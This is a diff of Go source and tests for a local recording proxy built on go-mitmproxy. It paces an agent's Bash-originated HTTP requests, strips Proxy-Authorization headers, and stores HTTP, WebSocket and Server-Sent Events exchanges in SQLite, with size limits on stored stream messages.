log.Printf("[traffic] pacing a Bash request to %s stopped waiting (%v); sending it unpaced", host, err)
}
}
+262
View File
@@ -0,0 +1,262 @@
package traffic
import (
"crypto/tls"
"crypto/x509"
"io"
"net"
"net/http"
"net/http/httptest"
"net/url"
"os"
"strings"
"sync"
"testing"
"time"
"github.com/Autumn-27/artex/egress"
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
)
// startProxy runs a real recording proxy on a free loopback port and returns it
// with its sink and URL. extra addons run after the recording sink.
func startProxy(t *testing.T, extra ...mproxy.Addon) (*Traffic, *sink, string) {
t.Helper()
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
addr := ln.Addr().String()
ln.Close()
tr, err := Open(t.TempDir(), addr)
if err != nil {
t.Fatal(err)
}
s := tr.proxy.Addons[0].(*sink)
for _, a := range extra {
tr.proxy.AddAddon(a)
}
go func() { _ = tr.Start() }()
t.Cleanup(func() {
_ = tr.proxy.Close()
_ = tr.Close()
})
deadline := time.Now().Add(5 * time.Second)
for {
c, err := net.Dial("tcp", addr)
if err == nil {
c.Close()
break
}
if time.Now().After(deadline) {
t.Fatalf("proxy did not listen on %s: %v", addr, err)
}
time.Sleep(10 * time.Millisecond)
}
return tr, s, "http://" + addr
}
// proxyClient is a curl-like client: it sends the proxy URL's userinfo as
// Proxy-Authorization on CONNECT and on plain-HTTP requests, and trusts the CA.
func proxyClient(t *testing.T, tr *Traffic, proxyURL string) *http.Client {
t.Helper()
pem, err := os.ReadFile(tr.CACertPath())
if err != nil {
t.Fatal(err)
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(pem) {
t.Fatal("no CA in", tr.CACertPath())
}
u, _ := url.Parse(proxyURL)
return &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(u), TLSClientConfig: &tls.Config{RootCAs: pool}}}
}
// probe records the ClientConn of each request the proxy sees, after the sink.
type probe struct {
mproxy.BaseAddon
mu sync.Mutex
conn map[string]string // "METHOD url" -> ClientConn.Id
}
func (p *probe) Requestheaders(f *mproxy.Flow) {
p.mu.Lock()
defer p.mu.Unlock()
if p.conn == nil {
p.conn = map[string]string{}
}
p.conn[f.Request.Method+" "+f.Request.URL.String()] = f.ConnContext.ClientConn.Id.String()
}
func get(t *testing.T, c *http.Client, u string) {
t.Helper()
resp, err := c.Get(u)
if err != nil {
t.Fatal(err)
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
if resp.StatusCode != 200 {
t.Fatalf("GET %s: %d", u, resp.StatusCode)
}
}
func markedCount(s *sink) int {
n := 0
s.paced.Range(func(any, any) bool { n++; return true })
return n
}
func hostRPM(host string) int {
for _, h := range egress.Current().Snapshot() {
if h.Host == host {
return h.RPM
}
}
return 0
}
// A marked client (the Bash proxy URL) is paced and counted, through a CONNECT
// tunnel and on plain HTTP; an unmarked one (WebFetch, custom tools, enrich)
// is not paced here. No Proxy-Authorization reaches a target or the recording,
// every exchange is recorded, and a closed connection loses its mark.
func TestBashPacingThroughProxy(t *testing.T) {
prev := egress.CurrentProfile()
t.Cleanup(func() { egress.SetProfile(prev) })
// 2 req/s, burst 1, no jitter: from the second request on, each waits 500 ms.
egress.SetProfile(egress.Profile{Name: "test", RPS: 2, Burst: 1, MaxPerHost: 1, MaxGlobal: 8})
var mu sync.Mutex
leaked := map[string]string{}
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if v := r.Header.Get("Proxy-Authorization"); v != "" {
mu.Lock()
leaked[r.URL.Path] = v
mu.Unlock()
}
_, _ = io.WriteString(w, "ok")
})
marked := httptest.NewServer(handler)
defer marked.Close()
unmarked := httptest.NewServer(handler)
defer unmarked.Close()
tlsSrv := httptest.NewTLSServer(handler)
defer tlsSrv.Close()
// The MITM leaf for a bare IP has no IP SAN: address the TLS target by name.
tlsURL := strings.Replace(tlsSrv.URL, "127.0.0.1", "localhost", 1)
p := &probe{}
tr, s, proxyURL := startProxy(t, p)
bash := proxyClient(t, tr, egress.MarkProxyURL(proxyURL))
plain := proxyClient(t, tr, proxyURL)
start := time.Now()
for range 3 {
get(t, bash, marked.URL+"/bash")
}
if d := time.Since(start); d < 900*time.Millisecond {
t.Fatalf("3 marked requests to one host took %v, want >= 1s of pacing", d)
}
if n := hostRPM(strings.TrimPrefix(marked.URL, "http://")); n != 3 {
t.Fatalf("egress counter for the marked host = %d, want 3", n)
}
for range 3 {
get(t, plain, unmarked.URL+"/plain")
}
if n := hostRPM(strings.TrimPrefix(unmarked.URL, "http://")); n != 0 {
t.Fatalf("unmarked requests were paced by the proxy: counter %d, want 0", n)
}
get(t, bash, tlsURL+"/tls1")
get(t, bash, tlsURL+"/tls2")
tlsHost := strings.TrimPrefix(tlsURL, "https://")
if n := hostRPM(tlsHost); n != 2 {
t.Fatalf("egress counter for the tunnelled host = %d, want 2", n)
}
p.mu.Lock()
connectID := p.conn["CONNECT //"+tlsHost]
inner1, inner2 := p.conn["GET "+tlsURL+"/tls1"], p.conn["GET "+tlsURL+"/tls2"]
p.mu.Unlock()
if connectID == "" || inner1 != connectID || inner2 != connectID {
t.Fatalf("tunnel flows do not share the CONNECT's connection: connect=%q inner=%q,%q", connectID, inner1, inner2)
}
mu.Lock()
if len(leaked) != 0 {
t.Fatalf("Proxy-Authorization reached the target: %v", leaked)
}
mu.Unlock()
rows, err := tr.Search("", 0, 100)
if err != nil || len(rows) != 8 {
t.Fatalf("recorded %d exchanges (err %v), want 8", len(rows), err)
}
for _, r := range rows {
req, _, err := tr.Get(r.ID)
if err != nil || strings.Contains(strings.ToLower(req), "proxy-authorization") {
t.Fatalf("recorded request %s keeps Proxy-Authorization (err %v):\n%s", r.ID, err, req)
}
}
if markedCount(s) == 0 {
t.Fatal("no connection marked")
}
bash.CloseIdleConnections()
plain.CloseIdleConnections()
deadline := time.Now().Add(5 * time.Second)
for markedCount(s) != 0 {
if time.Now().After(deadline) {
t.Fatalf("%d marks left after the clients closed", markedCount(s))
}
time.Sleep(10 * time.Millisecond)
}
}
// Off: a marked request is neither paced nor counted.
func TestBashPacingOff(t *testing.T) {
prev := egress.CurrentProfile()
t.Cleanup(func() { egress.SetProfile(prev) })
egress.SetProfile(egress.Profile{Name: "off"})
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {}))
defer srv.Close()
tr, _, proxyURL := startProxy(t)
bash := proxyClient(t, tr, egress.MarkProxyURL(proxyURL))
for range 3 {
get(t, bash, srv.URL+"/")
}
if snap := egress.Current().Snapshot(); len(snap) != 0 {
t.Fatalf("off counted marked requests: %v", snap)
}
}
// The sink drops Proxy-Authorization from every request and marks only on the
// pace marker; a disconnect clears the mark.
func TestSinkStripsAndMarks(t *testing.T) {
prev := egress.CurrentProfile()
t.Cleanup(func() { egress.SetProfile(prev) })
egress.SetProfile(egress.Profile{Name: "off"})
s := &sink{}
flow := func(method, auth string, conn *mproxy.ClientConn) *mproxy.Flow {
u, _ := url.Parse("http://a.example/")
h := http.Header{}
if auth != "" {
h.Set("Proxy-Authorization", auth)
}
return &mproxy.Flow{Request: &mproxy.Request{Method: method, URL: u, Header: h}, ConnContext: &mproxy.ConnContext{ClientConn: conn}}
}
f := flow(http.MethodGet, "Basic dXNlcjpwYXNz", &mproxy.ClientConn{}) // user:pass, not the marker
s.Requestheaders(f)
if f.Request.Header.Get("Proxy-Authorization") != "" || markedCount(s) != 0 {
t.Fatalf("foreign credentials: header %q, marks %d", f.Request.Header.Get("Proxy-Authorization"), markedCount(s))
}
conn := &mproxy.ClientConn{}
conn.Id[0] = 1
f = flow(http.MethodConnect, "Basic YXJ0ZXgtcGFjZTphcnRleC1wYWNl", conn) // artex-pace:artex-pace
s.Requestheaders(f)
if f.Request.Header.Get("Proxy-Authorization") != "" || markedCount(s) != 1 {
t.Fatalf("marker on CONNECT: header %q, marks %d", f.Request.Header.Get("Proxy-Authorization"), markedCount(s))
}
s.ClientDisconnected(conn)
if markedCount(s) != 0 {
t.Fatal("mark kept after disconnect")
}
}
+588
View File
@@ -0,0 +1,588 @@
package traffic
import (
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"net/url"
"reflect"
"strings"
"sync"
"time"
"unicode/utf8"
"unsafe"
"github.com/Autumn-27/artex/db"
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
)
// Stream recording (WebSocket and Server-Sent Events). go-mitmproxy reports a
// stream as Start, one Message hook per message, then End; a stream never reaches
// the Response hook, so record() never sees it. Each stream becomes one exchange
// (status 101 "websocket", or the real text/event-stream response) whose messages
// go to stream_messages in arrival order.
const (
// wsText and wsBinary are the WebSocket data opcodes (RFC 6455 §5.2), the
// values go-mitmproxy reports in WebSocketMessage.Type.
wsText = 1
wsBinary = 2
// streamPreview caps one message's payload in a StreamMessages row; a longer
// payload lives in the blob store and the row carries its hash.
streamPreview = 4 * 1024
// maxStreamInline is the inline threshold for message payloads: anything
// longer spills to the blob store, so a page of 200 rows stays bounded.
maxStreamInline = streamPreview
// toolStreamPreview caps one message's preview in traffic_messages, so a page
// of messages stays small in the agent's context.
toolStreamPreview = 1024
)
// streamState tracks one live stream. mu serializes the two WebSocket forwarding
// goroutines, which both fire WebSocketMessage on the same flow.
type streamState struct {
mu sync.Mutex
id string // exchange id; "" when the stream could not be recorded
kind string // "websocket" | "sse"
consumed int // library messages/events already handled
seq int64
stored int
// storedBytes counts what the kept messages occupy: the payload after
// truncation, plus the inline preview spill keeps for a spilled payload.
storedBytes int64
dropped bool
droppedMsgs int64
droppedBytes int64
// reqBytes and respBytes are the bytes observed in each direction, dropped
// messages included.
reqBytes, respBytes int64
}
// streamRow is one stream_messages row before it is written.
type streamRow struct {
ts int64 // unix seconds, like exchanges.ts; seq carries the order
direction string
kind int
event string
eventID string
retry int
size int
payload []byte // kept bytes (after maxStreamPayload truncation)
truncated bool
ctype string // content type handed to spill for the binary check
}
func (s *sink) WebSocketStart(f *mproxy.Flow) { s.startStream(f, "websocket") }
func (s *sink) SSEStart(f *mproxy.Flow) { s.startStream(f, "sse") }
func (s *sink) WebSocketMessage(f *mproxy.Flow) {
st := s.stream(f)
if st == nil || f.WebScoket == nil {
return
}
st.mu.Lock()
defer st.mu.Unlock()
s.t.persistStream(st, wsMessagesSince(f.WebScoket, st))
}
func (s *sink) SSEMessage(f *mproxy.Flow) {
st := s.stream(f)
if st == nil || f.SSE == nil {
return
}
st.mu.Lock()
defer st.mu.Unlock()
s.t.persistStream(st, sseEventsSince(f.SSE, st))
}
func (s *sink) WebSocketEnd(f *mproxy.Flow) {
v, ok := s.streams.LoadAndDelete(f)
if !ok {
return
}
st := v.(*streamState)
st.mu.Lock()
defer st.mu.Unlock()
if f.WebScoket != nil {
s.t.persistStream(st, wsMessagesSince(f.WebScoket, st))
}
s.t.finishStream(st)
}
func (s *sink) SSEEnd(f *mproxy.Flow) {
v, ok := s.streams.LoadAndDelete(f)
if !ok {
return
}
st := v.(*streamState)
st.mu.Lock()
defer st.mu.Unlock()
if f.SSE != nil {
s.t.persistStream(st, sseEventsSince(f.SSE, st))
}
s.t.finishStream(st)
}
func (s *sink) stream(f *mproxy.Flow) *streamState {
v, ok := s.streams.Load(f)
if !ok {
return nil
}
return v.(*streamState)
}
// startStream registers the flow before recording its exchange, so a message
// hook racing the start waits on st.mu instead of being dropped.
func (s *sink) startStream(f *mproxy.Flow, kind string) {
st := &streamState{kind: kind}
st.mu.Lock()
defer st.mu.Unlock()
s.streams.Store(f, st)
if f.Request == nil || f.Request.URL == nil || (kind == "sse" && f.Response == nil) {
return
}
id, err := s.t.recordStreamStart(f, kind)
if err != nil {
log.Printf("[traffic] failed to record %s stream %s: %v", kind, f.Request.URL, err)
return
}
st.id = id
if kind == "sse" {
st.reqBytes = int64(len(f.Request.Body))
}
}
// libMutex returns the unexported mu sync.Mutex that go-mitmproxy holds while it
// appends to WebSocketData.Messages / SSEData.Events. The library exposes no
// accessor, and the two WebSocket goroutines append concurrently, so reading the
// slice without that lock is a data race. Reaching a private field ties this to
// the pinned go-mitmproxy v1.9.2: TestLibMutexFound is the upgrade guard. Nil
// when the field is absent, and then nothing is read (see lockLib).
func libMutex(v any) *sync.Mutex {
rv := reflect.ValueOf(v)
if rv.Kind() != reflect.Pointer || rv.IsNil() {
return nil
}
f := rv.Elem().FieldByName("mu")
if !f.IsValid() || f.Type() != reflect.TypeOf(sync.Mutex{}) || !f.CanAddr() {
return nil
}
return (*sync.Mutex)(unsafe.Pointer(f.UnsafeAddr()))
}
var libMutexMissing sync.Once
// lockLib takes the library's lock on v. ok is false when the lock cannot be
// found; callers then read nothing rather than race the library.
func lockLib(v any) (unlock func(), ok bool) {
mu := libMutex(v)
if mu == nil {
libMutexMissing.Do(func() {
log.Printf("[traffic] go-mitmproxy stream data has no mu field; stream messages are not recorded")
})
return nil, false
}
mu.Lock()
return mu.Unlock, true
}
// wsMessagesSince returns every WebSocket message appended since the last call,
// in the library's order, so each is handled exactly once whichever goroutine's
// hook gets there first. The library slice itself is never modified.
func wsMessagesSince(ws *mproxy.WebSocketData, st *streamState) []streamRow {
unlock, ok := lockLib(ws)
if !ok {
return nil
}
msgs := ws.Messages
if st.consumed > len(msgs) {
st.consumed = len(msgs)
}
fresh := append([]*mproxy.WebSocketMessage(nil), msgs[st.consumed:]...)
st.consumed = len(msgs)
unlock()
rows := make([]streamRow, 0, len(fresh))
for _, m := range fresh {
if m == nil {
continue
}
dir, ctype := "s2c", "text/plain; charset=utf-8"
if m.FromClient {
dir = "c2s"
st.reqBytes += int64(len(m.Content))
} else {
st.respBytes += int64(len(m.Content))
}
if m.Type == wsBinary {
ctype = "application/octet-stream"
}
rows = append(rows, streamRow{ts: m.Timestamp.Unix(), direction: dir, kind: m.Type, size: len(m.Content), payload: m.Content, ctype: ctype})
}
return rows
}
// sseEventsSince is wsMessagesSince for Server-Sent Events.
func sseEventsSince(sse *mproxy.SSEData, st *streamState) []streamRow {
unlock, ok := lockLib(sse)
if !ok {
return nil
}
events := sse.Events
if st.consumed > len(events) {
st.consumed = len(events)
}
fresh := append([]*mproxy.SSEEvent(nil), events[st.consumed:]...)
st.consumed = len(events)
unlock()
rows := make([]streamRow, 0, len(fresh))
for _, e := range fresh {
if e == nil {
continue
}
st.respBytes += int64(len(e.Raw))
rows = append(rows, streamRow{ts: e.Time.Unix(), direction: "s2c", event: e.Event, eventID: e.ID,
retry: e.Retry, size: len(e.Data), payload: []byte(e.Data), ctype: "text/event-stream"})
}
return rows
}
// streamDisplayURL is the URL shown for a WebSocket exchange: http→ws and
// https→wss. A plain ws:// connection reaches the WebSocket hooks through its
// CONNECT tunnel, where only the target authority is known, not the path.
func streamDisplayURL(f *mproxy.Flow, kind string) (method, display, tmpl string) {
u := *f.Request.URL
method = f.Request.Method
if kind == "websocket" && strings.EqualFold(method, "CONNECT") {
host := u.Host
if host == "" {
host = u.Opaque
}
return "GET", (&url.URL{Scheme: "ws", Host: host, Path: "/"}).String(), "/"
}
if kind == "websocket" {
switch strings.ToLower(u.Scheme) {
case "http", "":
u.Scheme = "ws"
case "https":
u.Scheme = "wss"
}
}
return method, u.String(), db.TemplatePath(f.Request.URL.EscapedPath())
}
// recordStreamStart writes the stream's exchange: metadata, request head and
// body, the response head (synthetic 101 for WebSocket), and the header text in
// the full-text index. Messages are never indexed.
func (t *Traffic) recordStreamStart(f *mproxy.Flow, kind string) (string, error) {
now := time.Now()
id := t.newExchangeID(now)
method, display, tmpl := streamDisplayURL(f, kind)
host := f.Request.URL.Hostname()
target := f.Request.URL.RequestURI()
if strings.EqualFold(f.Request.Method, "CONNECT") {
target = f.Request.URL.Host // authority-form, as on the wire
}
reqHead := fmt.Sprintf("%s %s %s\n%s", f.Request.Method, target, f.Request.Proto, requestHeaderLines(f.Request))
status, ct, respHead := 101, "websocket", "HTTP/1.1 101 Switching Protocols\n"
if kind == "sse" {
status = f.Response.StatusCode
ct = f.Response.Header.Get("Content-Type")
respHead = fmt.Sprintf("HTTP %d\n%s", status, headerLines(f.Response.Header))
}
t.wmu.Lock()
defer t.wmu.Unlock()
reqB := t.spill(f.Request.Body, f.Request.Header.Get("Content-Type"))
tx, err := t.db.Begin()
if err != nil {
return "", fmt.Errorf("beginning transaction: %w", err)
}
defer tx.Rollback() //nolint:errcheck // no-op once committed
res, err := tx.Exec(`INSERT OR REPLACE INTO exchanges(id,ts,host,method,url_template,url,status,content_type,req_len,resp_len,path)
VALUES(?,?,?,?,?,?,?,?,?,?,'')`, id, now.Unix(), host, method, tmpl, display, status, ct, len(f.Request.Body), 0)
if err != nil {
return "", fmt.Errorf("writing index: %w", err)
}
rowid, err := res.LastInsertId()
if err != nil {
return "", fmt.Errorf("fetching rowid: %w", err)
}
if _, err := tx.Exec(`INSERT OR REPLACE INTO exchange_bodies(id,req_head,req_body,req_blob,resp_head,resp_body,resp_blob)
VALUES(?,?,?,?,?,NULL,NULL)`, id, reqHead, reqB.inline, nullIfEmpty(reqB.hash), respHead); err != nil {
return "", fmt.Errorf("writing body: %w", err)
}
if reqB.hash != "" {
if _, err := tx.Exec(`INSERT OR IGNORE INTO blob_refs(hash,exchange_id) VALUES(?,?)`, reqB.hash, id); err != nil {
return "", fmt.Errorf("registering blob reference: %w", err)
}
}
if t.fts {
idx := strings.Join([]string{display, reqHead, reqB.index, respHead}, "\n")
if _, err := tx.Exec(`INSERT INTO ex_fts(rowid,content) VALUES(?,?)`, rowid, idx); err != nil {
return "", fmt.Errorf("writing full-text index: %w", err)
}
}
if err := tx.Commit(); err != nil {
return "", fmt.Errorf("committing: %w", err)
}
return id, nil
}
// persistStream applies the per-message and per-exchange limits to rows and
// writes what is kept. The first message past a per-exchange limit stores one
// 'meta' row instead; nothing is stored after it. Caller holds st.mu. Errors are
// logged: a recording failure never interrupts the stream.
func (t *Traffic) persistStream(st *streamState, rows []streamRow) {
if st.id == "" || len(rows) == 0 {
return
}
keep := make([]streamRow, 0, len(rows))
addMeta := false
for _, r := range rows {
if len(r.payload) > maxStreamPayload {
r.payload = r.payload[:maxStreamPayload]
r.truncated = true
}
cost := streamStoredCost(r)
if st.dropped || st.stored >= maxStreamMessages || st.storedBytes+cost > maxStreamBytes {
if !st.dropped {
st.dropped = true
addMeta = true
}
st.droppedMsgs++
st.droppedBytes += int64(r.size)
continue
}
st.stored++
st.storedBytes += cost
keep = append(keep, r)
}
var meta []byte
if addMeta {
meta = streamMetaPayload(st)
}
if len(keep) == 0 && meta == nil {
return
}
t.wmu.Lock()
defer t.wmu.Unlock()
// Sequence numbers and blob writes come first, as in record(): blob writes are
// filesystem work and must not sit inside the SQLite transaction. Holding wmu
// keeps gcBlobs from collecting a blob before its reference is committed.
type preparedRow struct {
streamRow
seq int64
body storedBody
}
prepared := make([]preparedRow, 0, len(keep))
for _, r := range keep {
st.seq++
prepared = append(prepared, preparedRow{streamRow: r, seq: st.seq, body: t.spillAt(r.payload, r.ctype, maxStreamInline)})
}
var metaSeq int64
if meta != nil {
st.seq++
metaSeq = st.seq
}
tx, err := t.db.Begin()
if err != nil {
log.Printf("[traffic] failed to record stream messages of %s (beginning transaction): %v", st.id, err)
return
}
defer tx.Rollback() //nolint:errcheck // no-op once committed
for _, p := range prepared {
inline := p.body.inline
if inline == nil {
inline = []byte{}
}
if _, err := tx.Exec(`INSERT INTO stream_messages(exchange_id,seq,ts,direction,kind,event,event_id,retry,size,payload,payload_blob,truncated)
VALUES(?,?,?,?,?,?,?,?,?,?,?,?)`, st.id, p.seq, p.ts, p.direction, p.kind, p.event, p.eventID, p.retry, p.size,
inline, nullIfEmpty(p.body.hash), boolInt(p.truncated)); err != nil {
log.Printf("[traffic] failed to record stream message %d of %s: %v", p.seq, st.id, err)
return
}
if p.body.hash != "" {
if _, err := tx.Exec(`INSERT OR IGNORE INTO blob_refs(hash,exchange_id) VALUES(?,?)`, p.body.hash, st.id); err != nil {
log.Printf("[traffic] failed to record stream message %d of %s (registering blob reference): %v", p.seq, st.id, err)
return
}
}
}
if meta != nil {
if _, err := tx.Exec(`INSERT INTO stream_messages(exchange_id,seq,ts,direction,kind,size,payload)
VALUES(?,?,?,'meta',0,?,?)`, st.id, metaSeq, time.Now().Unix(), len(meta), meta); err != nil {
log.Printf("[traffic] failed to record stream limit marker of %s: %v", st.id, err)
return
}
}
if err := tx.Commit(); err != nil {
log.Printf("[traffic] failed to record stream messages of %s (committing): %v", st.id, err)
}
}
// streamStoredCost is what keeping r adds to the index and blob store: the
// payload, plus the inline preview spillAt keeps when the payload spills (a text
// prefix of at most blobPreview, or a one-line tag for binary).
func streamStoredCost(r streamRow) int64 {
n := int64(len(r.payload))
if len(r.payload) <= maxStreamInline {
return n
}
if isBinaryBody(r.ctype, r.payload) {
return n + int64(len(binaryTag(r.ctype, r.payload)))
}
return n + int64(len(truncateUTF8(r.payload, blobPreview)))
}
func streamMetaPayload(st *streamState) []byte {
b, _ := json.Marshal(map[string]int64{"dropped_messages": st.droppedMsgs, "dropped_bytes": st.droppedBytes})
return b
}
func boolInt(b bool) int {
if b {
return 1
}
return 0
}
// finishStream records the bytes observed in each direction and the final
// counts of the limit marker. Caller holds st.mu.
func (t *Traffic) finishStream(st *streamState) {
if st.id == "" {
return
}
t.wmu.Lock()
defer t.wmu.Unlock()
if _, err := t.db.Exec(`UPDATE exchanges SET req_len=?, resp_len=? WHERE id=?`, st.reqBytes, st.respBytes, st.id); err != nil {
log.Printf("[traffic] failed to record stream sizes of %s: %v", st.id, err)
}
if st.dropped {
meta := streamMetaPayload(st)
if _, err := t.db.Exec(`UPDATE stream_messages SET payload=?, size=? WHERE exchange_id=? AND direction='meta'`, meta, len(meta), st.id); err != nil {
log.Printf("[traffic] failed to update stream limit marker of %s: %v", st.id, err)
}
}
}
// StreamMessage is one recorded WebSocket message or SSE event.
type StreamMessage struct {
Seq int64 `json:"seq"`
TS int64 `json:"ts"` // unix seconds, like an exchange's ts; Seq orders
Direction string `json:"direction"`
Kind int `json:"kind"`
// Type is "text" or "binary" (WebSocket), "event" (SSE), or "meta" (the
// limit marker).
Type string `json:"type"`
Event string `json:"event,omitempty"`
EventID string `json:"event_id,omitempty"`
Retry int `json:"retry,omitempty"`
Size int `json:"size"`
Payload string `json:"payload"`
// Encoding is "base64" for binary payloads, empty for UTF-8 text.
Encoding string `json:"encoding,omitempty"`
Blob string `json:"blob,omitempty"`
Truncated bool `json:"truncated,omitempty"`
}
// StreamMessages returns one page of an exchange's stream messages in order.
// limit is 1..200 (default 50) and offset >= 0. Every payload comes back as at
// most streamPreview (4 KiB); a longer one lives in the blob store and the row
// carries its hash for the rest (traffic_blob, GET /api/traffic/blob).
func (t *Traffic) StreamMessages(exchangeID string, offset, limit int) ([]StreamMessage, int, error) {
if limit <= 0 {
limit = 50
}
if limit > 200 {
limit = 200
}
if offset < 0 {
offset = 0
}
var total int
if err := t.db.QueryRow(`SELECT COUNT(*) FROM stream_messages WHERE exchange_id=?`, exchangeID).Scan(&total); err != nil {
return nil, 0, err
}
rows, err := t.db.Query(`SELECT seq,ts,direction,kind,event,event_id,retry,size,payload,payload_blob,truncated
FROM stream_messages WHERE exchange_id=? ORDER BY seq LIMIT ? OFFSET ?`, exchangeID, limit, offset)
if err != nil {
return nil, 0, err
}
defer rows.Close()
out := []StreamMessage{}
for rows.Next() {
var m StreamMessage
var payload []byte
var blob sql.NullString
var truncated int
if err := rows.Scan(&m.Seq, &m.TS, &m.Direction, &m.Kind, &m.Event, &m.EventID, &m.Retry, &m.Size, &payload, &blob, &truncated); err != nil {
return nil, 0, err
}
m.Truncated = truncated != 0
m.Blob = blob.String
switch {
case m.Direction == "meta":
m.Type = "meta"
case m.Kind == wsBinary:
m.Type = "binary"
case m.Kind == wsText:
m.Type = "text"
default:
m.Type = "event"
}
if m.Type == "binary" {
if m.Blob != "" {
// A spilled binary payload keeps only a descriptive tag inline;
// the preview is the payload's own leading bytes.
payload, _, _ = t.BlobRange(m.Blob, 0, streamPreview)
}
m.Payload, m.Encoding = base64.StdEncoding.EncodeToString(clipBytes(payload, streamPreview)), "base64"
} else {
m.Payload = truncateUTF8(payload, streamPreview)
}
out = append(out, m)
}
return out, total, rows.Err()
}
// StreamInfo reports how many stream messages an exchange holds and whether it
// is a WebSocket or SSE exchange ("" for an ordinary exchange).
func (t *Traffic) StreamInfo(exchangeID string) (count int, kind string, err error) {
var ct sql.NullString
err = t.db.QueryRow(`SELECT content_type FROM exchanges WHERE id=?`, exchangeID).Scan(&ct)
if err != nil && !errors.Is(err, sql.ErrNoRows) {
return 0, "", err
}
switch c := strings.ToLower(ct.String); {
case c == "websocket":
kind = "websocket"
case strings.Contains(c, "text/event-stream"):
kind = "sse"
}
if err := t.db.QueryRow(`SELECT COUNT(*) FROM stream_messages WHERE exchange_id=?`, exchangeID).Scan(&count); err != nil {
return 0, "", err
}
return count, kind, nil
}
// streamToolPreview renders one message for traffic_messages: at most 1 KiB of
// text (hex for binary), plus the blob hash when the payload spilled.
func streamToolPreview(m StreamMessage) string {
if m.Encoding == "base64" {
raw, _ := base64.StdEncoding.DecodeString(m.Payload)
return "hex:" + fmt.Sprintf("%x", clipBytes(raw, toolStreamPreview/2))
}
p := m.Payload
if len(p) > toolStreamPreview {
p = truncateUTF8([]byte(p), toolStreamPreview)
}
if !utf8.ValidString(p) {
p = strings.ToValidUTF8(p, "�")
}
return p
}
+637
View File
@@ -0,0 +1,637 @@
package traffic
import (
"bytes"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"testing"
"time"
"github.com/gorilla/websocket"
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
)
// localhostURL names an httptest server by host name: the MITM leaf certificate
// carries a DNS name, not an IP SAN (as in pace_test.go).
func localhostURL(u string) string { return strings.Replace(u, "127.0.0.1", "localhost", 1) }
// waitFor polls cond until it holds or 10 seconds pass.
func waitFor(t *testing.T, what string, cond func() bool) {
t.Helper()
deadline := time.Now().Add(10 * time.Second)
for !cond() {
if time.Now().After(deadline) {
t.Fatalf("timed out waiting for %s", what)
}
time.Sleep(20 * time.Millisecond)
}
}
// wsDialer dials through the recording proxy and trusts its CA.
func wsDialer(t *testing.T, tr *Traffic, proxyURL string) *websocket.Dialer {
t.Helper()
pem, err := os.ReadFile(tr.CACertPath())
if err != nil {
t.Fatal(err)
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(pem) {
t.Fatal("no CA in", tr.CACertPath())
}
u, _ := url.Parse(proxyURL)
return &websocket.Dialer{Proxy: http.ProxyURL(u), TLSClientConfig: &tls.Config{RootCAs: pool}, HandshakeTimeout: 5 * time.Second}
}
type streamExchange struct {
id, url, contentType string
status int
reqLen, respLen int64
}
// streamExchanges returns the exchanges recorded with a stream content type.
func streamExchanges(t *testing.T, tr *Traffic, contentLike string) []streamExchange {
t.Helper()
rows, err := tr.DB().Query(`SELECT id,url,content_type,status,req_len,resp_len FROM exchanges WHERE content_type LIKE ? ORDER BY id`, contentLike)
if err != nil {
t.Fatal(err)
}
defer rows.Close()
var out []streamExchange
for rows.Next() {
var e streamExchange
if err := rows.Scan(&e.id, &e.url, &e.contentType, &e.status, &e.reqLen, &e.respLen); err != nil {
t.Fatal(err)
}
out = append(out, e)
}
return out
}
func allMessages(t *testing.T, tr *Traffic, id string) []StreamMessage {
t.Helper()
var out []StreamMessage
for offset := 0; ; offset += 200 {
page, total, err := tr.StreamMessages(id, offset, 200)
if err != nil {
t.Fatal(err)
}
out = append(out, page...)
if len(out) >= total || len(page) == 0 {
return out
}
}
}
// echoWSServer echoes every message back with the same type: text prefixed
// with "echo:", binary reversed.
func echoWSServer(t *testing.T) *httptest.Server {
t.Helper()
up := websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
c, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
defer c.Close()
for {
mt, msg, err := c.ReadMessage()
if err != nil {
return
}
if mt == websocket.BinaryMessage {
rev := make([]byte, len(msg))
for i := range msg {
rev[len(msg)-1-i] = msg[i]
}
msg = rev
} else {
msg = append([]byte("echo:"), msg...)
}
if err := c.WriteMessage(mt, msg); err != nil {
return
}
}
}))
t.Cleanup(srv.Close)
return srv
}
func closeWS(c *websocket.Conn) {
_ = c.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
_ = c.SetReadDeadline(time.Now().Add(2 * time.Second))
for {
if _, _, err := c.ReadMessage(); err != nil {
break
}
}
_ = c.Close()
}
func TestWebSocketMessagesRecorded(t *testing.T) {
tr, _, proxyURL := startProxy(t)
srv := echoWSServer(t)
target := "wss://" + strings.TrimPrefix(localhostURL(srv.URL), "https://") + "/ws?room=1"
c, _, err := wsDialer(t, tr, proxyURL).Dial(target, nil)
if err != nil {
t.Fatal(err)
}
exchange := func(mt int, msg []byte) []byte {
if err := c.WriteMessage(mt, msg); err != nil {
t.Fatal(err)
}
gotType, got, err := c.ReadMessage()
if err != nil || gotType != mt {
t.Fatalf("read type=%d err=%v", gotType, err)
}
return got
}
before := time.Now().Unix()
if got := exchange(websocket.TextMessage, []byte("hello")); string(got) != "echo:hello" {
t.Fatalf("echo %q", got)
}
if got := exchange(websocket.BinaryMessage, []byte{0, 1, 2, 255}); !bytes.Equal(got, []byte{255, 2, 1, 0}) {
t.Fatalf("binary echo %v", got)
}
closeWS(c)
var ex streamExchange
waitFor(t, "websocket end", func() bool {
exs := streamExchanges(t, tr, "websocket")
if len(exs) != 1 || exs[0].reqLen == 0 {
return false
}
ex = exs[0]
return true
})
